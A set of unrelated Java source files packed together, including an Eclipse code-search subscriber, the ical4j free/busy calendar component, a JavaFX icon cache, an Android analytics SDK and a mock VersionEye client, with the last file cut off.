if (!findVariableType(var.getTypeSignature())) {
return NOT_AVAILABLE;
}
final BooleanQuery query = createQuery();
final List<Document> docs = searcher.search(query);
stopMeasurement();
runSyncInUiThread(new Renderer(docs, parent, varType, watch.toString()));
return OK;
}
@JavaSelectionSubscriber
public Status onVariableSelection(final ILocalVariable var, final JavaSelectionEvent event, final Composite parent)
throws IOException, JavaModelException {
this.event = event;
startMeasurement();
if (!findAstNodes()) {
return NOT_AVAILABLE;
}
if (!findVariableType(var.getTypeSignature())) {
return NOT_AVAILABLE;
}
final BooleanQuery query = createQuery();
final List<Document> docs = searcher.search(query);
stopMeasurement();
runSyncInUiThread(new Renderer(docs, parent, varType, watch.toString()));
return OK;
}
private boolean findAstNodes() {
final Optional<ASTNode> astNode = event.getSelectedNode();
if (!astNode.isPresent()) {
return false;
}
final ASTNode node = astNode.get();
if (node.getNodeType() == ASTNode.SIMPLE_NAME) {
varNode = (SimpleName) node;
}
for (ASTNode parent = varNode; parent != null; parent = parent.getParent()) {
if (parent instanceof MethodDeclaration) {
enclosingMethod = (MethodDeclaration) parent;
} else if (parent instanceof TypeDeclaration) {
enclosingType = (TypeDeclaration) parent;
break;
}
}
return varNode != null && enclosingMethod != null && enclosingType != null;
}
private boolean findVariableType(final String typeSignature) {
final Optional<IMethod> method = BindingUtils.getMethod(enclosingMethod);
if (!method.isPresent()) {
return false;
}
final Optional<IType> opt = JdtUtils.findTypeFromSignature(typeSignature, method.get());
if (!opt.isPresent()) {
return false;
}
jdtVarType = opt.get();
varType = jdtResolver.toRecType(opt.get()).getIdentifier();
return varType != null;
}
private BooleanQuery createQuery() {
// TODO: cleanup needed
final BooleanQuery query = new BooleanQuery();
final Term typeTerm = new Term(Fields.VARIABLE_TYPE, varType);
final TermQuery typeQuery = new TermQuery(typeTerm);
query.add(typeQuery, Occur.MUST);
searchterms = Lists.newArrayList();
searchterms.add(varNode.getIdentifier());
searchterms.add(jdtVarType.getElementName());
for (final SimpleName use : LinkedNodeFinder.findByNode(enclosingMethod, varNode)) {
final ASTNode astParent = use.getParent();
Term term = null;
switch (astParent.getNodeType()) {
case ASTNode.CLASS_INSTANCE_CREATION: {
final ClassInstanceCreation targetMethod = (ClassInstanceCreation) astParent;
final IMethodBinding methodBinding = targetMethod.resolveConstructorBinding();
final Optional<String> optMethod = BindingHelper.getIdentifier(methodBinding);
if (!optMethod.isPresent()) {
break;
}
// matches more than the method itself, but that'S a minor thing
searchterms.add(targetMethod.getType().toString());
if (isUsedInArguments(use, targetMethod.arguments())) {
term = new Term(Fields.USED_AS_TAGET_FOR_METHODS, optMethod.get());
} else {
term = new Term(Fields.USED_AS_TAGET_FOR_METHODS, optMethod.get());
}
break;
}
case ASTNode.METHOD_INVOCATION:
final MethodInvocation targetMethod = (MethodInvocation) astParent;
final IMethodBinding methodBinding = targetMethod.resolveMethodBinding();
final Optional<String> optMethod = BindingHelper.getIdentifier(methodBinding);
if (!optMethod.isPresent()) {
break;
}
searchterms.add(targetMethod.getName().toString());
if (isUsedInArguments(use, targetMethod.arguments())) {
term = new Term(Fields.USED_AS_TAGET_FOR_METHODS, optMethod.get());
} else {
term = new Term(Fields.USED_AS_TAGET_FOR_METHODS, optMethod.get());
}
break;
case ASTNode.SINGLE_VARIABLE_DECLARATION:
term = new Term(Fields.VARIABLE_DEFINITION, Fields.DEFINITION_PARAMETER);
break;
case ASTNode.VARIABLE_DECLARATION_FRAGMENT:
final VariableDeclarationFragment declParent = (VariableDeclarationFragment) use.getParent();
final Expression initializer = declParent.getInitializer();
Optional<Tuple<IMethod, String>> def = absent();
if (initializer == null) {
term = new Term(Fields.VARIABLE_DEFINITION, Fields.DEFINITION_UNINITIALIZED);
break;
} else {
switch (initializer.getNodeType()) {
case ASTNode.NULL_LITERAL:
term = new Term(Fields.VARIABLE_DEFINITION, Fields.DEFINITION_NULLLITERAL);
break;
case ASTNode.SUPER_METHOD_INVOCATION:
term = new Term(Fields.VARIABLE_DEFINITION, Fields.DEFINITION_METHOD_INVOCATION);
def = findMethod((SuperMethodInvocation) initializer);
break;
case ASTNode.METHOD_INVOCATION:
term = new Term(Fields.VARIABLE_DEFINITION, Fields.DEFINITION_METHOD_INVOCATION);
def = findMethod((MethodInvocation) initializer);
break;
case ASTNode.CLASS_INSTANCE_CREATION: {
term = new Term(Fields.VARIABLE_DEFINITION, Fields.DEFINITION_INSTANCE_CREATION);
def = findMethod((ClassInstanceCreation) initializer);
break;
}
case ASTNode.CAST_EXPRESSION:
// look more deeply into this here:
final Expression expression = ((CastExpression) initializer).getExpression();
switch (expression.getNodeType()) {
case ASTNode.METHOD_INVOCATION:
def = findMethod((MethodInvocation) expression);
break;
case ASTNode.SUPER_METHOD_INVOCATION:
def = findMethod((SuperMethodInvocation) expression);
break;
}
}
if (def.isPresent()) {
searchterms.add(def.get().getFirst().getElementName());
final TermQuery subquery = new TermQuery(new Term(Fields.VARIABLE_DEFINITION, def.get()
.getSecond()));
subquery.setBoost(2);
query.add(subquery, Occur.SHOULD);
}
}
break;
default:
break;
}
if (term != null) {
query.add(new TermQuery(term), Occur.SHOULD);
}
}
return query;
}
private static Optional<Tuple<IMethod, String>> findMethod(final MethodInvocation s) {
return findMethod(s.resolveMethodBinding());
}
private static Optional<Tuple<IMethod, String>> findMethod(final SuperMethodInvocation s) {
return findMethod(s.resolveMethodBinding());
}
private static Optional<Tuple<IMethod, String>> findMethod(final ConstructorInvocation s) {
return findMethod(s.resolveConstructorBinding());
}
private static Optional<Tuple<IMethod, String>> findMethod(final ClassInstanceCreation s) {
return findMethod(s.resolveConstructorBinding());
}
private static Optional<Tuple<IMethod, String>> findMethod(final IMethodBinding b) {
if (b == null) {
return absent();
}
final IMethod method = (IMethod) b.getJavaElement();
final Optional<String> opt = getIdentifier(b);
if (method == null || !opt.isPresent()) {
return absent();
}
return of(Tuple.newTuple(method, opt.get()));
}
private boolean isUsedInArguments(final SimpleName uses, final List arguments) {
return arguments.size() == 0 || arguments.indexOf(uses) == -1;
}
private void startMeasurement() {
watch = new Stopwatch();
watch.start();
}
private void stopMeasurement() {
watch.stop();
}
private final class Renderer implements Runnable {
private final List<Document> docs;
private final Composite parent;
private final String typeName;
private final String searchDuration;
private Renderer(final List<Document> docs, final Composite parent, final String typeName,
final String searchDuration) {
this.docs = docs;
this.parent = parent;
this.typeName = typeName;
this.searchDuration = searchDuration;
}
@Override
public void run() {
final Composite container = new Composite(parent, SWT.NONE);
container.setLayout(new GridLayout());
container.setLayoutData(GridDataFactory.fillDefaults().grab(true, false).create());
final Label l = new Label(container, SWT.NONE);
final String msg = format("found %s examples for type '%s'. Search took %s.", docs.size(),
Names.vm2srcSimpleTypeName(typeName), searchDuration);
l.setText(msg);
final TableViewer v = new TableViewer(container, SWT.VIRTUAL);
v.setLabelProvider(new LabelProvider(jdtResolver, searchterms));
v.setContentProvider(new ArrayContentProvider());
v.setUseHashlookup(true);
v.setInput(docs);
// v.getTable().setLinesVisible(true);
v.setItemCount(docs.size());
v.getControl().setLayoutData(GridDataFactory.fillDefaults().hint(300, 200).grab(true, false).create());
v.addDoubleClickListener(new IDoubleClickListener() {
@Override
public void doubleClick(final DoubleClickEvent event) {
final Optional<Document> doc = RCPUtils.first(event.getSelection());
if (doc.isPresent()) {
final String string = doc.get().get(Fields.DECLARING_METHOD);
final VmMethodName recMethod = VmMethodName.get(string);
final Optional<IMethod> jdtMethod = jdtResolver.toJdtMethod(recMethod);
if (jdtMethod.isPresent()) {
try {
JavaUI.openInEditor(jdtMethod.get());
} catch (final Exception e) {
RecommendersPlugin.logError(e, "Failed to open method declaration in editor");
}
}
}
}
});
}
}
}
|
package net.fortuna.ical4j.model.component;
import java.io.IOException;
import java.util.Iterator;
import net.fortuna.ical4j.model.Component;
import net.fortuna.ical4j.model.ComponentList;
import net.fortuna.ical4j.model.DateTime;
import net.fortuna.ical4j.model.Dur;
import net.fortuna.ical4j.model.Period;
import net.fortuna.ical4j.model.PeriodList;
import net.fortuna.ical4j.model.Property;
import net.fortuna.ical4j.model.PropertyList;
import net.fortuna.ical4j.model.ValidationException;
import net.fortuna.ical4j.model.parameter.FbType;
import net.fortuna.ical4j.model.property.Contact;
import net.fortuna.ical4j.model.property.DtEnd;
import net.fortuna.ical4j.model.property.DtStamp;
import net.fortuna.ical4j.model.property.DtStart;
import net.fortuna.ical4j.model.property.Duration;
import net.fortuna.ical4j.model.property.FreeBusy;
import net.fortuna.ical4j.model.property.Organizer;
import net.fortuna.ical4j.model.property.Uid;
import net.fortuna.ical4j.model.property.Url;
import net.fortuna.ical4j.util.CompatibilityHints;
import net.fortuna.ical4j.util.PropertyValidator;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
public class VFreeBusy extends CalendarComponent {
private static final long serialVersionUID = 1046534053331139832L;
private transient Log log = LogFactory.getLog(VFreeBusy.class);
/**
* Default constructor.
*/
public VFreeBusy() {
super(VFREEBUSY);
getProperties().add(new DtStamp());
}
/**
* Constructor.
* @param properties a list of properties
*/
public VFreeBusy(final PropertyList properties) {
super(VFREEBUSY, properties);
}
/**
* Constructs a new VFreeBusy instance with the specified start and end boundaries. This constructor should be used
* for requesting Free/Busy time for a specified period.
* @param startDate the starting boundary for the VFreeBusy
* @param endDate the ending boundary for the VFreeBusy
*/
public VFreeBusy(final DateTime start, final DateTime end) {
this();
// dtstart MUST be specified in UTC..
getProperties().add(new DtStart(start, true));
// dtend MUST be specified in UTC..
getProperties().add(new DtEnd(end, true));
}
/**
* Constructs a new VFreeBusy instance with the specified start and end boundaries. This constructor should be used
* for requesting Free/Busy time for a specified duration in given period defined by the start date and end date.
* @param startDate the starting boundary for the VFreeBusy
* @param endDate the ending boundary for the VFreeBusy
* @param duration the length of the period being requested
*/
public VFreeBusy(final DateTime start, final DateTime end,
final Dur duration) {
this();
// dtstart MUST be specified in UTC..
getProperties().add(new DtStart(start, true));
// dtend MUST be specified in UTC..
getProperties().add(new DtEnd(end, true));
getProperties().add(new Duration(duration));
}
/**
* Constructs a new VFreeBusy instance representing a reply to the specified VFREEBUSY request according to the
* specified list of components.
* If the request argument has its duration set, then the result
* represents a list of <em>free</em> times (that is, parameter FBTYPE
* is set to FbType.FREE).
* If the request argument does not have its duration set, then the result
* represents a list of <em>busy</em> times.
* @param request a VFREEBUSY request
* @param components a component list used to initialise busy time
*/
public VFreeBusy(final VFreeBusy request, final ComponentList components) {
this();
DtStart start = (DtStart) request.getProperty(Property.DTSTART);
DtEnd end = (DtEnd) request.getProperty(Property.DTEND);
Duration duration = (Duration) request.getProperty(Property.DURATION);
// dtstart MUST be specified in UTC..
getProperties().add(new DtStart(start.getDate(), true));
// dtend MUST be specified in UTC..
getProperties().add(new DtEnd(end.getDate(), true));
if (duration != null) {
getProperties().add(new Duration(duration.getDuration()));
// Initialise with all free time of at least the specified
// duration..
DateTime freeStart = new DateTime(start.getDate());
DateTime freeEnd = new DateTime(end.getDate());
FreeBusy fb = createFreeTime(freeStart, freeEnd, duration
.getDuration(), components);
if (fb != null && !fb.getPeriods().isEmpty()) {
getProperties().add(fb);
}
}
else {
// initialise with all busy time for the specified period..
DateTime busyStart = new DateTime(start.getDate());
DateTime busyEnd = new DateTime(end.getDate());
FreeBusy fb = createBusyTime(busyStart, busyEnd, components);
if (fb != null && !fb.getPeriods().isEmpty()) {
getProperties().add(fb);
}
}
}
/**
* Create a FREEBUSY property representing the busy time for the specified component list. If the component is not
* applicable to FREEBUSY time, or if the component is outside the bounds of the start and end dates, null is
* returned. If no valid busy periods are identified in the component an empty FREEBUSY property is returned (i.e.
* empty period list).
* @param component a component to base the FREEBUSY property on
* @return a FreeBusy instance or null if the component is not applicable
*/
private FreeBusy createBusyTime(final DateTime start, final DateTime end,
final ComponentList components) {
PeriodList periods = getConsumedTime(components, start, end);
// periods must be in UTC time for freebusy..
periods.setUtc(true);
for (Iterator i = periods.iterator(); i.hasNext();) {
Period period = (Period) i.next();
// check if period outside bounds..
if (period.getStart().after(end) || period.getEnd().before(start)) {
periods.remove(period);
}
}
return new FreeBusy(periods);
}
/**
* Create a FREEBUSY property representing the free time available of the specified duration for the given list of
* components. component. If the component is not applicable to FREEBUSY time, or if the component is outside the
* bounds of the start and end dates, null is returned. If no valid busy periods are identified in the component an
* empty FREEBUSY property is returned (i.e. empty period list).
* @param start
* @param end
* @param duration
* @param components
* @return
*/
private FreeBusy createFreeTime(final DateTime start, final DateTime end,
final Dur duration, final ComponentList components) {
FreeBusy fb = new FreeBusy();
fb.getParameters().add(FbType.FREE);
PeriodList periods = getConsumedTime(components, start, end);
// debugging..
if (log.isDebugEnabled()) {
log.debug("Busy periods: " + periods);
}
DateTime lastPeriodEnd = null;
// where no time is consumed set the last period end as the range start..
if (periods.isEmpty()) {
lastPeriodEnd = new DateTime(start);
}
for (Iterator i = periods.iterator(); i.hasNext();) {
Period period = (Period) i.next();
// check if period outside bounds..
if (period.getStart().after(end) || period.getEnd().before(start)) {
continue;
}
// create a dummy last period end if first period starts after the start date
// (i.e. there is a free time gap between the start and the first period).
if (lastPeriodEnd == null && period.getStart().after(start)) {
lastPeriodEnd = new DateTime(start);
}
// calculate duration between this period start and last period end..
if (lastPeriodEnd != null) {
Duration freeDuration = new Duration(lastPeriodEnd, period
.getStart());
if (freeDuration.getDuration().compareTo(duration) >= 0) {
fb.getPeriods().add(
new Period(lastPeriodEnd, freeDuration
.getDuration()));
}
}
lastPeriodEnd = period.getEnd();
}
// calculate duration between last period end and end ..
if (lastPeriodEnd != null) {
Duration freeDuration = new Duration(lastPeriodEnd, end);
if (freeDuration.getDuration().compareTo(duration) >= 0) {
fb.getPeriods().add(
new Period(lastPeriodEnd, freeDuration.getDuration()));
}
}
return fb;
}
/**
* Creates a list of periods representing the time consumed by the specified list of components.
* @param components
* @return
*/
private PeriodList getConsumedTime(final ComponentList components,
final DateTime rangeStart, final DateTime rangeEnd) {
PeriodList periods = new PeriodList();
for (Iterator i = components.iterator(); i.hasNext();) {
Component component = (Component) i.next();
// only events consume time..
if (component instanceof VEvent) {
periods.addAll(((VEvent) component).getConsumedTime(rangeStart,
rangeEnd));
}
}
return periods.normalise();
}
/*
* (non-Javadoc)
* @see net.fortuna.ical4j.model.Component#validate(boolean)
*/
public final void validate(final boolean recurse)
throws ValidationException {
if (!CompatibilityHints
.isHintEnabled(CompatibilityHints.KEY_RELAXED_VALIDATION)) {
// From "4.8.4.7 Unique Identifier":
// Conformance: The property MUST be specified in the "VEVENT", "VTODO",
// "VJOURNAL" or "VFREEBUSY" calendar components.
PropertyValidator.getInstance().assertOne(Property.UID,
getProperties());
// From "4.8.7.2 Date/Time Stamp":
// Conformance: This property MUST be included in the "VEVENT", "VTODO",
// "VJOURNAL" or "VFREEBUSY" calendar components.
PropertyValidator.getInstance().assertOne(Property.DTSTAMP,
getProperties());
}
PropertyValidator validator = PropertyValidator.getInstance();
/*
* ; the following are optional, ; but MUST NOT occur more than once contact / dtstart / dtend / duration /
* dtstamp / organizer / uid / url /
*/
validator.assertOneOrLess(Property.CONTACT, getProperties());
validator.assertOneOrLess(Property.DTSTART, getProperties());
validator.assertOneOrLess(Property.DTEND, getProperties());
validator.assertOneOrLess(Property.DURATION, getProperties());
validator.assertOneOrLess(Property.DTSTAMP, getProperties());
validator.assertOneOrLess(Property.ORGANIZER, getProperties());
validator.assertOneOrLess(Property.UID, getProperties());
validator.assertOneOrLess(Property.URL, getProperties());
/*
* ; the following are optional, ; and MAY occur more than once attendee / comment / freebusy / rstatus / x-prop
*/
/*
* The recurrence properties ("RRULE", "EXRULE", "RDATE", "EXDATE") are not permitted within a "VFREEBUSY"
* calendar component. Any recurring events are resolved into their individual busy time periods using the
* "FREEBUSY" property.
*/
validator.assertNone(Property.RRULE, getProperties());
validator.assertNone(Property.EXRULE, getProperties());
validator.assertNone(Property.RDATE, getProperties());
validator.assertNone(Property.EXDATE, getProperties());
// DtEnd value must be later in time that DtStart..
DtStart dtStart = (DtStart) getProperty(Property.DTSTART);
DtEnd dtEnd = (DtEnd) getProperty(Property.DTEND);
if (dtStart != null && dtEnd != null
&& !dtStart.getDate().before(dtEnd.getDate())) {
throw new ValidationException("Property [" + Property.DTEND
+ "] must be later in time than [" + Property.DTSTART + "]");
}
if (recurse) {
validateProperties();
}
}
/**
* @return
*/
public final Contact getContact() {
return (Contact) getProperty(Property.CONTACT);
}
/**
* @return
*/
public final DtStart getStartDate() {
return (DtStart) getProperty(Property.DTSTART);
}
/**
* @return
*/
public final DtEnd getEndDate() {
return (DtEnd) getProperty(Property.DTEND);
}
/**
* @return
*/
public final Duration getDuration() {
return (Duration) getProperty(Property.DURATION);
}
/**
* @return
*/
public final DtStamp getDateStamp() {
return (DtStamp) getProperty(Property.DTSTAMP);
}
/**
* @return
*/
public final Organizer getOrganizer() {
return (Organizer) getProperty(Property.ORGANIZER);
}
/**
* @return
*/
public final Url getUrl() {
return (Url) getProperty(Property.URL);
}
/**
* Returns the UID property of this component if available.
* @return a Uid instance, or null if no UID property exists
*/
public final Uid getUid() {
return (Uid) getProperty(Property.UID);
}
/**
* @param stream
* @throws IOException
* @throws ClassNotFoundException
*/
private void readObject(java.io.ObjectInputStream stream)
throws IOException, ClassNotFoundException {
stream.defaultReadObject();
log = LogFactory.getLog(VFreeBusy.class);
}
}
|
/** Features of the parser grammar.
* In particular, dialect-specific constructs that can be turned off for use with
* ordinary databases.
*/
package com.akiban.sql.parser;
public enum SQLParserFeature
{
GROUPING,
MOD_INFIX,
UNSIGNED,
MYSQL_HINTS,
MYSQL_INTERVAL,
DOUBLE_QUOTED_STRING
}
|
package com.github.orekyuu.javatterfx.util;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import javafx.scene.image.Image;
/**
*
* @author orekyuu
*
*/
public class IconCache {
public static final File cacheDir=new File("cache");
private static IconCache icon=new IconCache();
private Map<URL,Image> cacheMap=new HashMap<URL,Image>();
private IconCache(){
}
/**
*
* @return
*/
public static IconCache getInstance(){
return icon;
}
/**
*
* @param url URL
* @return
* @throws IOException
*/
public Image getIcon(URL url) throws IOException{
// TODO
Image image = null;
if((image = getIconFromCacheMap(url)) != null) {
return image;
}else if((image = getIconFromLocalCache(url)) != null) {
cacheMap.put(url, image);
return image;
}else if((image = getIconFromHttp(url)) != null) {
cacheMap.put(url, image);
return image;
}
throw new IOException("");
}
/**
* cacheMap
* @param url
* @return Imagenull
*/
private Image getIconFromCacheMap(URL url) {
return cacheMap.get(url);
}
/**
* LocalCache
* @param url
* @return Imagenull
*/
private Image getIconFromLocalCache(URL url) {
return getIconFromLocalCache(url, false);
}
/**
* LocalCache
* @param url
* @param force LocalCache
* @return Imagenull
*/
private Image getIconFromLocalCache(URL url, boolean force) {
if(!JavatterConfig.getInstance().getUseLocalCache() && !force) {
return null;
}
File cacheFile = getCacheFile(url);
if(!cacheFile.exists() ) {
return null;
}else{
try {
return new Image(new FileInputStream(cacheFile));
} catch (FileNotFoundException e) {
e.printStackTrace();
return null;
}
}
}
private Image getIconFromHttp(URL url) {
try {
if(JavatterConfig.getInstance().getUseLocalCache() && saveCacheFile(url)){
return getIconFromLocalCache(url);
}
Image image = new Image(url.openStream());
return image;
} catch (IOException e) {
// TODO
e.printStackTrace();
return null;
}
}
private boolean saveCacheFile(URL url) throws IOException {
createCacheFolder();
InputStream stream = url.openStream();
try {
Files.copy(stream, Paths.get(getCacheFile(url).getPath()));
return true;
}catch(IOException ex) {
return false;
}
}
private void createCacheFolder(){
if(!cacheDir.exists())
cacheDir.mkdir();
}
private File getCacheFile(URL url) {
String fileName=url.toString().replace('/', '_').replace(':', '_');
File cache=new File(cacheDir, fileName);
return cache;
}
}
|
package com.growthbeat.analytics;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Random;
import android.content.Context;
import android.os.Handler;
import com.google.android.gms.ads.identifier.AdvertisingIdClient;
import com.google.android.gms.ads.identifier.AdvertisingIdClient.Info;
import com.growthbeat.CatchableThread;
import com.growthbeat.GrowthbeatCore;
import com.growthbeat.GrowthbeatException;
import com.growthbeat.Logger;
import com.growthbeat.Preference;
import com.growthbeat.analytics.model.ClientEvent;
import com.growthbeat.analytics.model.ClientTag;
import com.growthbeat.http.GrowthbeatHttpClient;
import com.growthbeat.utils.AppUtils;
import com.growthbeat.utils.DeviceUtils;
public class GrowthAnalytics {
public static final String LOGGER_DEFAULT_TAG = "GrowthAnalytics";
public static final String HTTP_CLIENT_DEFAULT_BASE_URL = "https://api.analytics.growthbeat.com/";
public static final String PREFERENCE_DEFAULT_FILE_NAME = "growthanalytics-preferences";
private static final GrowthAnalytics instance = new GrowthAnalytics();
private final Logger logger = new Logger(LOGGER_DEFAULT_TAG);
private final GrowthbeatHttpClient httpClient = new GrowthbeatHttpClient(HTTP_CLIENT_DEFAULT_BASE_URL);
private final Preference preference = new Preference(PREFERENCE_DEFAULT_FILE_NAME);
private String applicationId = null;
private String credentialId = null;
private boolean initialized = false;
private Date openDate = null;
private List<EventHandler> eventHandlers = new ArrayList<EventHandler>();
private GrowthAnalytics() {
super();
}
public static GrowthAnalytics getInstance() {
return instance;
}
public void initialize(final Context context, final String applicationId, final String credentialId) {
if (initialized)
return;
initialized = true;
if (context == null) {
logger.warning("The context parameter cannot be null.");
return;
}
this.applicationId = applicationId;
this.credentialId = credentialId;
GrowthbeatCore.getInstance().initialize(context, applicationId, credentialId);
this.preference.setContext(GrowthbeatCore.getInstance().getContext());
setBasicTags();
}
public void track(final String eventId) {
track(eventId, null, null);
}
public void track(final String eventId, final Map<String, String> properties) {
track(eventId, properties, null);
}
public void track(final String eventId, final TrackOption option) {
track(eventId, null, option);
}
public void track(final String eventId, final Map<String, String> properties, final TrackOption option) {
final Handler handler = new Handler();
new Thread(new Runnable() {
@Override
public void run() {
logger.info(String.format("Track event... (eventId: %s)", eventId));
final Map<String, String> processedProperties = (properties != null) ? properties : new HashMap<String, String>();
ClientEvent existingClientEvent = ClientEvent.load(eventId);
if (option == TrackOption.ONCE) {
if (existingClientEvent != null) {
logger.info(String.format("Event already sent with once option. (eventId: %s)", eventId));
return;
}
}
if (option == TrackOption.COUNTER) {
int counter = 0;
if (existingClientEvent != null && existingClientEvent.getProperties() != null) {
try {
counter = Integer.valueOf(existingClientEvent.getProperties().get("counter"));
} catch (NumberFormatException e) {
}
}
processedProperties.put("counter", String.valueOf(counter + 1));
}
try {
ClientEvent createdClientEvent = ClientEvent.create(GrowthbeatCore.getInstance().waitClient().getId(), eventId,
processedProperties, credentialId);
if (createdClientEvent != null) {
ClientEvent.save(createdClientEvent);
logger.info(String.format("Tracking event success. (id: %s, eventId: %s, properties: %s)",
createdClientEvent.getId(), eventId, processedProperties));
} else {
logger.warning("Created client_event is null.");
}
} catch (GrowthbeatException e) {
logger.info(String.format("Tracking event fail. %s", e.getMessage()));
}
handler.post(new Runnable() {
@Override
public void run() {
for (EventHandler eventHandler : eventHandlers) {
eventHandler.callback(eventId, processedProperties);
}
}
});
}
}).start();
}
public void trackCustom(final String lastId, final Map<String, String> properties, final TrackOption option) {
track(generateCustomEventId(lastId), properties, option);
}
public void addEventHandler(EventHandler eventHandler) {
eventHandlers.add(eventHandler);
}
public void tag(final String tagId) {
tag(tagId, null);
}
public void tag(final String tagId, final String value) {
new Thread(new Runnable() {
@Override
public void run() {
logger.info(String.format("Set tag... (tagId: %s, value: %s)", tagId, value));
ClientTag existingClientTag = ClientTag.load(tagId);
if (existingClientTag != null) {
if (value == existingClientTag.getValue() || (value != null && value.equals(existingClientTag.getValue()))) {
logger.info(String.format("Tag exists with the same value. (tagId: %s, value: %s)", tagId, value));
return;
}
logger.info(String.format("Tag exists with the other value. (tagId: %s, value: %s)", tagId, value));
}
try {
ClientTag createdClientTag = ClientTag.create(GrowthbeatCore.getInstance().waitClient().getId(), tagId, value,
credentialId);
if (createdClientTag != null) {
ClientTag.save(createdClientTag);
logger.info(String.format("Setting tag success. (tagId: %s)", tagId));
} else {
logger.warning("Created client_tag is null.");
}
} catch (GrowthbeatException e) {
logger.info(String.format("Setting tag fail. %s", e.getMessage()));
}
}
}).start();
}
public void tagCustom(String lastId, String value) {
tag(generateCustomTagId(lastId), value);
}
public void open() {
openDate = new Date();
track(generateEventId("Open"), null, TrackOption.COUNTER);
track(generateEventId("Install"), null, TrackOption.ONCE);
}
public void close() {
if (openDate == null)
return;
long time = (new Date().getTime() - openDate.getTime()) / 1000;
openDate = null;
Map<String, String> properties = new HashMap<String, String>();
properties.put("time", String.valueOf(time));
track(generateEventId("Close"), properties);
}
public void purchase(int price, String category, String product) {
Map<String, String> properties = new HashMap<String, String>();
properties.put("price", String.valueOf(price));
properties.put("category", category);
properties.put("product", product);
track(generateEventId("Purchase"), properties);
}
public void setUserId(String userId) {
tag(generateTagId("UserID"), userId);
}
public void setName(String name) {
tag(generateTagId("Name"));
}
public void setAge(int age) {
tag(generateTagId("Age"), String.valueOf(age));
}
public void setGender(Gender gender) {
tag(generateTagId("Gender"), gender.getValue());
}
public void setLevel(int level) {
tag(generateTagId("Level"), String.valueOf(level));
}
public void setDevelopment(boolean development) {
tag(generateTagId("Development"), String.valueOf(development));
}
public void setDeviceModel() {
tag(generateTagId("DeviceModel"), DeviceUtils.getModel());
}
public void setOS() {
tag(generateTagId("OS"), "Android " + DeviceUtils.getOsVersion());
}
public void setLanguage() {
tag(generateTagId("Language"), DeviceUtils.getLanguage());
}
public void setTimeZone() {
tag(generateTagId("TimeZone"), DeviceUtils.getTimeZone());
}
public void setTimeZoneOffset() {
tag(generateTagId("TimeZoneOffset"), String.valueOf(DeviceUtils.getTimeZoneOffset()));
}
public void setAppVersion() {
tag(generateTagId("AppVersion"), AppUtils.getaAppVersion(GrowthbeatCore.getInstance().getContext()));
}
public void setRandom() {
tag(generateTagId("Random"), String.valueOf(new Random().nextDouble()));
}
public void setAdvertisingId() {
new Thread(new Runnable() {
@Override
public void run() {
try {
Info adInfo = AdvertisingIdClient.getAdvertisingIdInfo(GrowthbeatCore.getInstance().getContext());
if (adInfo.getId() == null || !adInfo.isLimitAdTrackingEnabled())
return;
tag(generateTagId("AdvertisingID"), adInfo.getId());
} catch (Exception e) {
}
}
}).start();
}
public void setBasicTags() {
setDeviceModel();
setOS();
setLanguage();
setTimeZone();
setTimeZoneOffset();
setAppVersion();
setAdvertisingId();
}
public String getApplicationId() {
return applicationId;
}
public String getCredentialId() {
return credentialId;
}
public Logger getLogger() {
return logger;
}
public GrowthbeatHttpClient getHttpClient() {
return httpClient;
}
public Preference getPreference() {
return preference;
}
private String generateEventId(String name) {
return String.format("Event:%s:Default:%s", applicationId, name);
}
private String generateCustomEventId(String lastId) {
return String.format("Event:%s:Custom:%s", applicationId, lastId);
}
private String generateTagId(String name) {
return String.format("Tag:%s:Default:%s", applicationId, name);
}
private String generateCustomTagId(String lastId) {
return String.format("Tag:%s:Custom:%s", applicationId, lastId);
}
public static enum TrackOption {
ONCE, COUNTER;
}
public static enum Gender {
MALE("male"), FEMALE("female");
private String value = null;
Gender(String value) {
this.value = value;
}
public String getValue() {
return value;
}
}
private static class Thread extends CatchableThread {
public Thread(Runnable runnable) {
super(runnable);
}
@Override
public void uncaughtException(java.lang.Thread thread, Throwable e) {
String message = "Uncaught Exception: " + e.getClass().getName();
if (e.getMessage() != null)
message += "; " + e.getMessage();
GrowthAnalytics.getInstance().getLogger().warning(message);
e.printStackTrace();
}
}
}
|
package com.amihaiemil.versioneye;
import java.io.IOException;
import javax.json.Json;
import javax.json.JsonArray;
import javax.json.JsonArrayBuilder;
import javax.json.JsonValue;
/**
* Mock VersionEye for unit testing.
* @author Mihai Andronache (amihaiemil@gmail.com)
* @version $Id$
* @since 1.0.0
* @todo #13:30min/DEV Continue implementing the mock API.
* Mocks for Users, Organizations Teams etc are needed,
*/
public final class MkVersionEye implements VersionEye {
/**
* VersionEye server.
*/
private MkServer server;
/**
* Authenticated user's username.
*/
private String username;
/**
* Ctor.
*/
public MkVersionEye() {
this.server = new MkJsonServer();
}
/**
* Ctor.
* @param authenticated Mock Authenticated User.
*/
public MkVersionEye(final Authenticated authenticated) {
this(new MkJsonServer(), authenticated);
}
/**
* Ctor.
* @param server VersionEye server storage. See {@link MkServer}
* @param user Mock Authenticated User.
*/
public MkVersionEye(
final MkServer server, final Authenticated user
) {
this.server = server;
this.username = user.username();
this.authenticate(user);
}
@Override
public Services services() {
return new MkServices(this.server);
}
@Override
public Users users() {
return null;
}
@Override
public VersionEye trusted() throws IOException {
return null;
}
@Override
public Me me() {
return new MkMe(this.server, this.username);
}
/**
* Add authenticated user to the MkServer.
* @param authenticated The user to authenticate.
*/
private void authenticate(final Authenticated authenticated) {
JsonArray online = this.server.storage().build()
.getJsonArray("authenticated");
final JsonArrayBuilder users = Json.createArrayBuilder();
for(final JsonValue user: online) {
users.add(user);
}
users.add(Json.createObjectBuilder().add(
this.username, authenticated.json())
);
this.server.storage().add("authenticated", users.build());
}
}
|
package jlibs.nio.http.filters;
import jlibs.nio.http.HTTPTask;
import jlibs.nio.http.msg.Message;
import jlibs.nio.http.msg.Payload;
import jlibs.nio.http.msg.Status;
/**
* @author Santhosh Kumar Tekuri
*/
public class ReadPayload implements HTTPTask.RequestFilter<HTTPTask>, HTTPTask.ResponseFilter<HTTPTask>{
public static final ReadPayload READ_REQUEST_PAYLOAD = new ReadPayload(true);
public static final ReadPayload READ_RESPONSE_PAYLOAD = new ReadPayload(false);
public final boolean readRequest;
public ReadPayload(boolean readRequest){
this.readRequest = readRequest;
}
@Override
